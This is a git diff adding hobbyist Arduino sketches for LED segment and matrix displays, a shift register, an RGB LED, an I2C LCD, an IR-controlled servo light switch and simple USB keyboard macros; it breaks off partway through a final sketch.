digitalWrite(F, HIGH); + digitalWrite(G, HIGH); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void eight() +{ + //Displays 8 + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void nine() +{ + //Displays 9 + digitalWrite(D, LOW); + digitalWrite(E, HIGH); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void zero() +{ + //Displays 0 + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, HIGH); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void LoopDisplay() +{ + //Loop through all Chars and Numbers + char_A(); + delay(1000); + char_B(); + delay(1000); + char_C(); + delay(1000); + char_D(); + delay(1000); + char_E(); + delay(1000); + char_F(); + delay(1000); + one(); + delay(1000); + two(); + delay(1000); + three(); + delay(1000); + four(); + delay(1000); + five(); + delay(1000); + six(); + delay(1000); + seven(); + delay(1000); + eight(); + delay(1000); + nine(); + delay(1000); + zero(); + delay(1000); +} + +void setup() +{ + //Setup our pins + pinMode(A, OUTPUT); + pinMode(B, OUTPUT); + pinMode(C, OUTPUT); + pinMode(D, OUTPUT); + pinMode(E, OUTPUT); + pinMode(F, OUTPUT); + pinMode(G, OUTPUT); + Serial.begin(9600); //Begin serial communcation + +} + +void loop() +{ + Serial.println("Starting\n"); + LoopDisplay(); + +} diff --git a/Projects/7 Segment Main/_7_Segment_Letters/_7_Segment_Letters.ino b/Projects/7 Segment Main/_7_Segment_Letters/_7_Segment_Letters.ino new file mode 100755 index 0000000..a7646ca --- /dev/null +++ b/Projects/7 Segment Main/_7_Segment_Letters/_7_Segment_Letters.ino @@ -0,0 +1,98 @@ +int ledDigitalOne[] = {1, 2, 3, 4, 5, 6, 7}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON = HIGH; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF = LOW; //Define off as HIGH + +//Predefined Colors + +const boolean One[] = {OFF, ON, OFF, OFF, OFF, OFF, ON}; +const boolean Two[] = {ON, OFF, ON, ON, OFF, ON, ON}; +const boolean Three[] = {ON, ON, OFF, ON, OFF, ON, ON}; +const boolean Four[] = {OFF, ON, OFF, ON, ON, OFF, ON}; +const boolean Five[] = {ON, ON, OFF, ON, ON, ON, OFF}; +const boolean Six[] = {ON, ON, ON, ON, ON, ON, OFF}; +const boolean Seven[] = {OFF, ON, OFF, OFF, OFF, ON, ON}; +const boolean Eight[] = {ON, ON, ON, ON, ON, ON, ON}; +const boolean Nine[] = {ON, ON, OFF, ON, ON, ON, ON}; +const boolean Zero[] = {ON, ON, ON, OFF, ON, ON, ON}; + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + +void setup(){ + for(int i = 0; i < 9; i++){ + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } +} + +void loop(){ + +/* Example - 1 Set a color + Set the three LEDs to any predefined color +*/ + + + setNumber(ledDigitalOne, Eight); //Set the color of LED one + + for (int i = 0; i < 10; i++) + { + setNumber(ledDigitalOne, Nine); + delay (1000); + setNumber(ledDigitalOne, Eight); + delay (1000); + setNumber(ledDigitalOne, Seven); + delay (1000); + setNumber(ledDigitalOne, Six); + delay (1000); + setNumber(ledDigitalOne, Five); + delay (1000); + setNumber(ledDigitalOne, Four); + delay (1000); + setNumber(ledDigitalOne, Three); + delay (1000); + setNumber(ledDigitalOne, Two); + delay (1000); + setNumber(ledDigitalOne, One); + delay (1000); + setNumber(ledDigitalOne, Zero); + delay (1000); + } + +/* Example - 2 Go through Random Colors + Set the LEDs to a random color +*/ + //randomNumber(); + +} + +//void randomNumber(){ + //int rand = random(0, sizeof(NUMBER / 2); //get a random number within the range of colors + //setNumber(ledDigitalOne, NUMBER[rand]); //Set the color of led one to a random color + //delay(1000); +//} + +/* Sets an led to any color + led - a three element array defining the three color pins (led[0] = redPin, led[1] = greenPin, led[2] = bluePin) + color - a three element boolean array (color[0] = red value (LOW = on, HIGH = off), color[1] = green value, color[2] =blue value) +*/ + +void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} +// the loop routine runs over and over again forever: + diff --git a/Projects/7 Segment Main/_7_Segment_Self/_7_Segment_Self.ino b/Projects/7 Segment Main/_7_Segment_Self/_7_Segment_Self.ino new file mode 100755 index 0000000..b4808ef --- /dev/null +++ b/Projects/7 Segment Main/_7_Segment_Self/_7_Segment_Self.ino @@ -0,0 +1,98 @@ +int ledDigitalOne[] = {13, 12, 11, 10, 9, 8, 7}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON = HIGH; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF = LOW; //Define off as HIGH + +//Predefined Colors + +const boolean One[] = {ON, OFF, OFF, OFF, OFF, OFF, ON}; +const boolean Two[] = {OFF, ON, ON, ON, OFF, ON, ON}; +const boolean Three[] = {ON, ON, OFF, ON, OFF, ON, ON}; +const boolean Four[] = {ON, OFF, OFF, ON, ON, OFF, ON}; +const boolean Five[] = {ON, ON, OFF, ON, ON, ON, OFF}; +const boolean Six[] = {ON, ON, ON, ON, ON, ON, OFF}; +const boolean Seven[] = {ON, OFF, OFF, OFF, OFF, ON, ON}; +const boolean Eight[] = {ON, ON, ON, ON, ON, ON, ON}; +const boolean Nine[] = {ON, ON, OFF, ON, ON, ON, ON}; +const boolean Zero[] = {ON, ON, ON, OFF, ON, ON, ON}; + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + +void setup(){ + for(int i = 0; i < 9; i++){ + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } +} + +void loop(){ + +/* Example - 1 Set a color + Set the three LEDs to any predefined color +*/ + + + setNumber(ledDigitalOne, Eight); //Set the color of LED one + + for (int i = 0; i < 10; i++) + { + setNumber(ledDigitalOne, Nine); + delay (500); + setNumber(ledDigitalOne, Eight); + delay (500); + setNumber(ledDigitalOne, Seven); + delay (500); + setNumber(ledDigitalOne, Six); + delay (500); + setNumber(ledDigitalOne, Five); + delay (500); + setNumber(ledDigitalOne, Four); + delay (500); + setNumber(ledDigitalOne, Three); + delay (500); + setNumber(ledDigitalOne, Two); + delay (500); + setNumber(ledDigitalOne, One); + delay (500); + setNumber(ledDigitalOne, Zero); + delay (500); + } + +/* Example - 2 Go through Random Colors + Set the LEDs to a random color +*/ + //randomNumber(); + +} + +//void randomNumber(){ + //int rand = random(0, sizeof(NUMBER / 2); //get a random number within the range of colors + //setNumber(ledDigitalOne, NUMBER[rand]); //Set the color of led one to a random color + //delay(1000); +//} + +/* Sets an led to any color + led - a three element array defining the three color pins (led[0] = redPin, led[1] = greenPin, led[2] = bluePin) + color - a three element boolean array (color[0] = red value (LOW = on, HIGH = off), color[1] = green value, color[2] =blue value) +*/ + +void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} +// the loop routine runs over and over again forever: + diff --git a/Projects/7 Segment Main/_7_Segment_w__74HC/_7_Segment_w__74HC.ino b/Projects/7 Segment Main/_7_Segment_w__74HC/_7_Segment_w__74HC.ino new file mode 100755 index 0000000..93f3564 --- /dev/null +++ b/Projects/7 Segment Main/_7_Segment_w__74HC/_7_Segment_w__74HC.ino @@ -0,0 +1,98 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 11; +int latch = 12; +int clock = 13; + +//Used for single LED manipulation +int ledState = 1; +const int ON = HIGH; +const int OFF = LOW; + + +/* + * setup() - this function runs once when you turn your Arduino on + * We set the three control pins to outputs + */ +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); +} + +/* + * loop() - this function will start after setup finishes and then repeat + * we set which LEDs we want on then call a routine which sends the states to the 74HC595 + */ +void loop() // run over and over again +{ + int delayTime = 100; //the number of milliseconds to delay between LED updates + for(int i = 0; i < 256; i++){ + updateLEDs(i); + delay(delayTime); + } +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B0000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } diff --git a/Projects/7 Segment Main/_8_LED_74HC/_8_LED_74HC.ino b/Projects/7 Segment Main/_8_LED_74HC/_8_LED_74HC.ino new file mode 100755 index 0000000..19cc760 --- /dev/null +++ b/Projects/7 Segment Main/_8_LED_74HC/_8_LED_74HC.ino @@ -0,0 +1,236 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 2; +int clock = 3; +int latch = 4; + +//Used for single LED manipulation +int ledState = 0; +const int ON = HIGH; +const int OFF = LOW; + + +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); +} + +/* + * loop() - this function will start after setup finishes and then repeat + * we set which LEDs we want on then call a routine which sends the states to the 74HC595 + */ +void loop() // run over and over again +{ + int delayTime = 500; + for (int i = 0; i < 8; i++) + { + changeLED(0,ON); // - 9 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 8 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 7 + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 6 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 5 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 4 + changeLED(3,ON); + changeLED(4,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 3 + changeLED(1,ON); + changeLED(3,ON); + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - 2 + changeLED(2,ON); + changeLED(3,ON); + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 1 + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 0 + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + } + for (int i = 0; i < 7; i++) + { + changeLED(i,OFF); + delay(delayTime); + } +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } diff --git a/Projects/7x5 Display/_1.singleTest/_1.singleTest.ino b/Projects/7x5 Display/_1.singleTest/_1.singleTest.ino new file mode 100644 index 0000000..9e725a8 --- /dev/null +++ b/Projects/7x5 Display/_1.singleTest/_1.singleTest.ino @@ -0,0 +1,109 @@ +byte led_row[7] = {5,2,6,11,7,13,8}; +byte led_col[5] = {3,9,10,4,12}; +long prevTime = -1000; +long interval = 5000; + +byte draw_task[7][5] = { + { 0,1,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}}; + +byte zero[7][5] = { + { 0,1,1,1,0}, + { 1,0,0,0,1}, + { 1,0,0,0,1}, + { 1,0,0,0,1}, + { 1,0,0,0,1}, + { 1,0,0,0,1}, + { 0,1,1,1,0}}; + + byte one[7][5] = { + { 0,1,1,0,0}, + { 1,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 1,1,1,1,1}}; + + byte two[7][5] = { + { 1,0,0,0,1}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 0,0,1,0,0}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 1,0,0,0,1}}; + + byte three[7][5] = { + { 1,0,0,0,1}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 0,0,1,0,0}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 1,0,0,0,1}}; + + byte four[7][5] = { + { 1,0,0,0,1}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 0,0,1,0,0}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 1,0,0,0,1}}; + +void setup() { + pinMode( 3, OUTPUT ); + pinMode( 9, OUTPUT ); + pinMode( 10, OUTPUT ); + pinMode( 4, OUTPUT ); + pinMode( 12, OUTPUT ); + + pinMode( 5, OUTPUT ); + pinMode( 2, OUTPUT ); + pinMode( 6, OUTPUT ); + pinMode( 11, OUTPUT ); + pinMode( 7, OUTPUT ); + pinMode( 13, OUTPUT ); + pinMode( 8, OUTPUT ); + + for (int i = 0; i < 7; i++) { + digitalWrite(led_row[i], 1); + } + for (int i = 0; i < 5; i++) { + digitalWrite(led_col[i], 0); + } + + delay(500); + draw(); +} + +void draw() { + draw_task[7][5] = zero[7][5]; +// unsigned long currentTime = millis(); +// +// if (currentTime - prevTime > interval) { +// prevTime = currentTime; +// draw_task[7][5] = one[7][5]; +// } +// else { +// +// } +} + +void loop() { + for (int i = 0; i < 7; i++) { + digitalWrite(led_row[i], 1); + for (int j = 0; j < 5; j++) { + digitalWrite(led_col[j], (draw_task[i][j] == 1 ? 0 : 1)); + } + delayMicroseconds(900); + digitalWrite(led_row[i], 0); + } + +} diff --git a/Projects/7x5 Display/_1.singleTets/_1.singleTets.ino b/Projects/7x5 Display/_1.singleTets/_1.singleTets.ino new file mode 100644 index 0000000..b0cd0e4 --- /dev/null +++ b/Projects/7x5 Display/_1.singleTets/_1.singleTets.ino @@ -0,0 +1,69 @@ +int idx = 0; unsigned long last; + +void setup() { + last = millis(); + pinMode( 3, OUTPUT ); + pinMode( 9, OUTPUT ); + pinMode( 10, OUTPUT ); + pinMode( 4, OUTPUT ); + pinMode( 12, OUTPUT ); + + pinMode( 5, OUTPUT ); + pinMode( 2, OUTPUT ); + pinMode( 6, OUTPUT ); + pinMode( 11, OUTPUT ); + pinMode( 7, OUTPUT ); + pinMode( 13, OUTPUT ); + pinMode( 8, OUTPUT ); + + byte led[5][7] = { + {0,0,0,0,0}, + {0,0,0,0,0}, + {0,0,0,0,0}, + {0,0,0,0,0}, + {0,0,0,0,0}, + {0,0,0,0,0}, + {0,0,0,0,0}, +} + +byte leds[7][5]; + +void setPattern( byte pattern[20][5], int idx ) { + for( int r =0; r < 7; r++) { + for( int c = 0; c < 5; c++) { + leds[r][c] = pattern[r + idx][c]; + } + } +} + +void draw() { + + for( int r =0; r < 7; r ++ ) { + digitalWrite( r + 2, HIGH ); + for( int c=0; c < 5; c ++ ) { + digitalWrite( 13 - c, ( leds[r][c] == 1 ? LOW : HIGH )); + } + delayMicroseconds(900); + digitalWrite( r + 2, LOW ); + } +} + +void loop() { + if ( millis() - last > 400 ) { + idx = (idx == 0 ? 7 : 0); + last = millis(); + } + + byte tmp[14][5] = { + { 1,1,1,1,1}, + { 1,1,1,1,1}, + { 1,1,1,1,1}, + { 1,1,1,1,1}, + { 1,1,1,1,1}, + { 1,1,1,1,1}, + { 1,1,1,1,1}, + }; + + setPattern( tmp, idx ); + draw(); +} diff --git a/Projects/Colorful_Light_RGB_LEDs/Colorful_Light_RGB_LEDs.ino b/Projects/Colorful_Light_RGB_LEDs/Colorful_Light_RGB_LEDs.ino new file mode 100755 index 0000000..842ea69 --- /dev/null +++ b/Projects/Colorful_Light_RGB_LEDs/Colorful_Light_RGB_LEDs.ino @@ -0,0 +1,78 @@ +/* --------------------------------------------------------- + * | Experimentation Kit for Arduino Example Code | + * | CIRC-RGB .: Colourful Light :. (RGB LED) | + * --------------------------------------------------------- + * + * We've blinked an LED and controlled eight in sequence now it's time to + * control colour. Using an RGB LED (actual 3 LEDs in a single housing) + * we can generate any colour our heart desires. + * + * (we'll also use a few programming shortcuts to make the code + * more portable/readable) + */ + + +//RGB LED pins +int ledDigitalOne[] = {9, 10, 11}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON = LOW; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF = HIGH; //Define off as HIGH + +//Predefined Colors +const boolean RED[] = {ON, OFF, OFF}; +const boolean BLUE[] = {OFF, ON, OFF}; +const boolean GREEN[] = {OFF, OFF, ON}; +const boolean YELLOW[] = {ON, OFF, ON}; +const boolean CYAN[] = {OFF, ON, ON}; +const boolean MAGENTA[] = {ON, ON, OFF}; +const boolean WHITE[] = {ON, ON, ON}; +const boolean BLACK[] = {OFF, OFF, OFF}; + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* COLORS[] = {RED, GREEN, BLUE, YELLOW, CYAN, MAGENTA, WHITE, BLACK}; + +void setup(){ + for(int i = 0; i < 3; i++){ + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } +} + +void loop(){ + +/* Example - 1 Set a color + Set the three LEDs to any predefined color +*/ + setColor(ledDigitalOne, RED); //Set the color of LED one + + +/* Example - 2 Go through Random Colors + Set the LEDs to a random color +*/ + randomColor(); + +} + +void randomColor(){ + int rand = random(0, sizeof(COLORS) / 2); //get a random number within the range of colors + setColor(ledDigitalOne, COLORS[rand]); //Set the color of led one to a random color + delay(1000); +} + +/* Sets an led to any color + led - a three element array defining the three color pins (led[0] = redPin, led[1] = greenPin, led[2] = bluePin) + color - a three element boolean array (color[0] = red value (LOW = on, HIGH = off), color[1] = green value, color[2] =blue value) +*/ +void setColor(int* led, boolean* color){ + for(int i = 0; i < 3; i++){ + digitalWrite(led[i], color[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ +void setColor(int* led, const boolean* color){ + boolean tempColor[] = {color[0], color[1], color[2]}; + setColor(led, tempColor); +} diff --git a/Projects/I2C_20x4_Test/I2C_20x4_Test/I2C_20x4_Test.ino b/Projects/I2C_20x4_Test/I2C_20x4_Test/I2C_20x4_Test.ino new file mode 100644 index 0000000..75ccb5a --- /dev/null +++ b/Projects/I2C_20x4_Test/I2C_20x4_Test/I2C_20x4_Test.ino @@ -0,0 +1,39 @@ +#include +#include + +#define I2C_ADDR 0x3F +#define En_pin 2 +#define Rw_pin 5 +#define Rs_pin 4 +#define D4_pin 0 +#define D5_pin 1 +#define D6_pin 6 +#define D7_pin 7 +#define BACKLIGHT_PIN 3 + +LiquidCrystal_I2C lcd(I2C_ADDR, En_pin, Rw_pin, Rs_pin, + D4_pin, D5_pin, D6_pin, D7_pin); + +void setup() { + Serial.begin(9600); + lcd.begin (20, 4); + + // Switch on the backlight + lcd.setBacklightPin(BACKLIGHT_PIN, POSITIVE); + lcd.setBacklight(HIGH); + + // Position cursor and write some text + lcd.print("Poop in face"); +} + +void loop() { + if (Serial.available()) { + lcd.clear(); + lcd.home(); + while(Serial.available() > 0) { + lcd.print(Serial.read()); + delay(1000); + } + } + +} diff --git a/Projects/IR_LightSwitch/IR_LightSwitch.ino b/Projects/IR_LightSwitch/IR_LightSwitch.ino new file mode 100755 index 0000000..dbc5661 --- /dev/null +++ b/Projects/IR_LightSwitch/IR_LightSwitch.ino @@ -0,0 +1,92 @@ +#include +#include + +Servo myservo; +int pos = 0; +int RECV_PIN = 11; +IRrecv irrecv(RECV_PIN); +decode_results results; +unsigned long CurrentValue = 0; +unsigned long StoredCode = 0; +const int buttonPin = 6; // the number of the pushbutton pin +const int ledPin = 4; // the number of the LED pin +const int outputPin = 3; // the number of the output LED pin +const int relayPin = 2; // the number of the relay pin +int buttonState = 0; // variable for reading the pushbutton status +int RecordState = 0; //is the reciever in record mode +int outputState = 1; //is the output on or off + +void setup() +{ + Serial.begin(9600); + myservo.attach(9); + irrecv.enableIRIn(); // Start the receiver + + // initialize the LED pin as an output: + pinMode(ledPin, OUTPUT); + // initialize the pushbutton pin as an input: + pinMode(outputPin, OUTPUT); + // initialize the pushbutton pin as an input: pinMode(buttonPin, INPUT); + pinMode(relayPin, OUTPUT); + // initialize the pushbutton pin as an input: pinMode(buttonPin, INPUT); + +} + + +void loop() { + + // read the state of the pushbutton value: +buttonState = digitalRead(buttonPin); + + // if a signal is detected, store the value +if (irrecv.decode(&results)) { + CurrentValue = (results.value); + + // if the recieved value equals the programed value, then toggle the output state + if(CurrentValue == StoredCode) { + outputState = 1; + } + + // if the record mode is activated store the current value as the programed value + if (RecordState == 1) { + StoredCode = CurrentValue; + RecordState = 0; + digitalWrite(ledPin, LOW); + Serial.println(StoredCode); //displays stored code for reference + } + + // Receive the next value + irrecv.resume(); +} + +else //if no signal is detected, then the current value is 0 +{ + CurrentValue = 0; +} + + // check if the record button is pressed. + // if it is, the buttonState is HIGH: +if (buttonState == HIGH) { + + //wait for the button to be released + while (buttonState == HIGH) { + buttonState = digitalRead(buttonPin); + } + + //turn on the LED to indicate that record mode is on + digitalWrite(ledPin, HIGH); + RecordState = 1; +} + + //set the appropriate output state +if(outputState == 1) { + + digitalWrite(outputPin, HIGH); + myservo.write(180); + delay(1000); + myservo.write(150); + digitalWrite(outputPin, LOW); + outputState = 0; +} + +} diff --git a/Projects/Keyboard/Login/Login.ino b/Projects/Keyboard/Login/Login.ino new file mode 100755 index 0000000..7e56d83 --- /dev/null +++ b/Projects/Keyboard/Login/Login.ino @@ -0,0 +1,22 @@ + const int buttonPin = 4; + int buttonState = LOW; + + void setup() + { + pinMode(buttonPin, LOW); + Keyboard.begin(); + } + + void loop() + { + int buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Keyboard.write((char) 0xB0); + delay(500); + Keyboard.print("Kevinojm"); + Keyboard.write((char) 0xB0); + delay(500); + } + } + diff --git a/Projects/Keyboard/Open_Program/Open_Program.ino b/Projects/Keyboard/Open_Program/Open_Program.ino new file mode 100755 index 0000000..a435bf2 --- /dev/null +++ b/Projects/Keyboard/Open_Program/Open_Program.ino @@ -0,0 +1,24 @@ + const int buttonPin = 4; + int buttonState = LOW; + + void setup() + { + pinMode(buttonPin, LOW); + Keyboard.begin(); + } + + void loop() + { + int buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Keyboard.press((char) 0x80); + Keyboard.press((char) 0x20); + Keyboard.releaseAll(); + Keyboard.print("Photoshop"); + Keyboard.write((char) 0xB0); + Keyboard.releaseAll(); + delay(500); + } + } + diff --git a/Projects/Keyboard/Sleep/Sleep.ino b/Projects/Keyboard/Sleep/Sleep.ino new file mode 100755 index 0000000..2064ccc --- /dev/null +++ b/Projects/Keyboard/Sleep/Sleep.ino @@ -0,0 +1,24 @@ + const int buttonPin = 4; + int buttonState = LOW; + + void setup() + { + pinMode(buttonPin, LOW); + Keyboard.begin(); + } + + void loop() + { + int buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Keyboard.press((char) 0x80); + Keyboard.press((char) 0x20); + Keyboard.releaseAll(); + delay(100); + Keyboard.print("Sleep"); + Keyboard.write((char) 0xB0); + delay(500); + } + } + diff --git a/Projects/Keyboard/ping/ping.ino b/Projects/Keyboard/ping/ping.ino new file mode 100755 index 0000000..5b1d310 --- /dev/null +++ b/Projects/Keyboard/ping/ping.ino @@ -0,0 +1,28 @@ + const int buttonPin = 4; + int buttonState = LOW; + + void setup() + { + pinMode(buttonPin, LOW); + Keyboard.begin(); + } + + void loop() + { + int buttonState = 